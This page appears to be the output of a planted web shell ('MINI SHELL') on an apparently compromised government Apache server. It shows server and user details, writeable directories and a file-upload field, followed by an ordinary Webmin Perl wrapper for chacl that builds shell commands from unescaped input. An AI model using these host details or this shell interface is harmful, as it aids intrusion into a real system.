MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /usr/libexec/webmin/file/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/libexec/webmin/file/irix-setfacl.pl
#!/usr/bin/perl
# irix-setfacl.pl
# Wrapper for the chacl command

while(<STDIN>) {
	s/\r|\n//g;
	$default = ($_ =~ s/^default://);
	s/^(other|mask):([rwx\-]{3})$/\1::\2/g;
	if ($default) {
		push(@dacl, $_);
		}
	else {
		push(@acl, $_);
		}
	}
$esc = quotemeta($ARGV[0]);
$acl = join(",", @acl);
$dacl = join(",", @dacl);
if ($acl && $dacl) {
	$out = `chacl -b $acl $dacl $esc 2>&1`;
	}
elsif ($acl) {
	if (-d $ARGV[0]) {
		$out = `chacl $acl $esc 2>&1 && chacl -D $esc 2>&1`;
		}
	else {
		$out = `chacl $acl $esc 2>&1`;
		}
	}
elsif ($dacl) {
	$out = `chacl -d $dacl $esc 2>&1 && chacl -R $esc 2>&1`;
	}
else {
	$out = `chacl -B $esc 2>&1`;
	}
if ($?) {
	print STDERR $out;
	exit 1;
	}


Anon7 - 2021